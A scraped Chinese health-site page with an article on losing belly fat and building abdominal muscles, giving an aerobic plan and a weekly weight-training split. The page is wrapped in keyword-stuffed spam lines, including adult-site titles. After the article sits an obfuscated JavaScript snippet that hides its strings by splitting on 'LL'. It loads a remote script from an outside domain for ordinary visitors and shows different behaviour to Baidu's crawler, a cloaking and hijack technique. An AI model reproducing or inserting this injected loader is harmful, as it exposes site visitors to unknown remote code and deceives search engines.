久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

肚子有贅肉怎么練腹肌呢

2017-04-16 22:20:50  來源:360常識網   熱度:
導語:經常坐辦公室的人因為工作的原因,長期的坐姿導致肚子上的脂肪堆積,肚子越來越大。肚子上的贅肉會讓我們穿衣難看。長期下來,整個人慢慢的

經常坐辦公室的人因為工作的原因,長期的坐姿導致肚子上的脂肪堆積,肚子越來越大。肚子上的贅肉會讓我們穿衣難看。長期下來,整個人慢慢的發胖,還會引起各種疾病,很不利于健康。要減去肚子上的贅肉,那么就要開始行動起來,積極的鍛煉身體。若只是肚子上的肉多,可以針對腹部進行鍛煉。可以在下班回去后,做仰臥起坐來減少腹部的脂肪,或是仰臥抬腿蹬自行車運動也可以消滅腹部的脂肪,堅持運動,還可以練出漂亮的腹肌。

一:有氧訓練計劃(參考):橢圓機或跑步機快走 (建議首選橢圓機,它對膝關節的沖擊很小) 每周3-4次.每次40-50分鐘.距離3-5公里.心率 控制在220-年齡x60-70% (就是說話不是很費力的強度)

二:力量訓練計劃 (每周4-5次,每次50分鐘左右)

1. 跑臺慢跑熱身10分鐘

2. 伸展一下要練的肌肉(采用靜態伸展) 第一天 背部+二頭肌訓練日 俯立杠鈴劃船 15-20RM (次數)x2組 (組間休息60-90秒) 頸前下拉 15-20RM (動作間休息90-120秒 坐姿器械劃船 15-20RM 啞鈴單臂劃船 15-20RM 引體向上(選做) 5-20RM 坐姿啞鈴交替彎舉 15-20RM E-Z杠杠鈴彎舉 15-20RM 拉力器彎舉 15-20RM 第三天腿部訓練日 史密斯半蹲:15-20RM (次數)x3組 坐姿腿舉 15-20RM 腿屈伸 15-20RM 腿彎舉 15-20RM 屈腿硬拉 15-20Rm 第五天胸肩部訓練 史密斯杠鈴推舉 15-20RM (次數)x3組 上斜啞鈴推舉 15-20RM 上斜啞鈴飛鳥 20-25RM 坐姿啞鈴推舉 15-20RM 立姿啞鈴側平舉 15-20RM 第七天腹部+三頭肌訓練日 腹部練習器 15-20RM(次) x2組 仰臥起坐 15-20RM 仰臥舉腿 15-20RM 轉體仰臥起坐 12-15RM 兩頭起 12-15RM 坐姿啞鈴頸后臂屈伸 15-20RM 繩索下壓 15-20RM (也可以采用一次訓練把所有部位練一遍,每個部位選一個動作 每個動作做20個的循環訓練.

運動可以消滅肚子上的贅肉,但重要的是堅持,三天打魚兩天曬網的行為,會讓人生出惰性,慢慢的疏于運動了。每天堅持一個小時的腹部肌肉鍛煉,一個月后就可以看見很滿意的效果。而且運動也可以讓我們減輕工作的壓力,促進睡眠,讓我們的生活更加的美好。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 电影91久久久 | 久久久久国产一区二区三区 | 香蕉国产精品 | 污网站在线免费看 | 日韩欧美国产一区二区 | 91欧美在线 | 国产精品综合 | 中文字幕综合在线分类 | 日韩小视频在线播放 | 日本一区二区久久 | 97干色| 国产一级片| 欧美日本亚洲 | 狠狠干狠狠操 | 神马久久久久久久久 | 久久99精品久久久久国产越南 | 中文字幕视频在线免费观看 | 久久精品一区视频 | 日韩一区二区三区av | 国产精品久久久久久久7电影 | 女人高潮特级毛片 | 国产精品美女久久久 | 久久久成人网 | 黄色a在线观看 | 欧美成人一区二区三区 | 日本成人一二三区 | 中文字幕一区二区三区乱码图片 | 一区二区三区国产免费 | 人成亚洲 | 亚洲一二三在线 | 久久久久久久久久久九 | 麻豆专区一区二区三区四区五区 | 久久激情视频 | 一区二区日韩精品 | 亚洲欧美日韩另类精品一区二区三区 | 国产精品久久久久久久7电影 | 国产精拍 | 亚洲精品一区二区网址 | 久色视频在线观看 | 亚洲www啪成人一区二区 | 另类天堂 |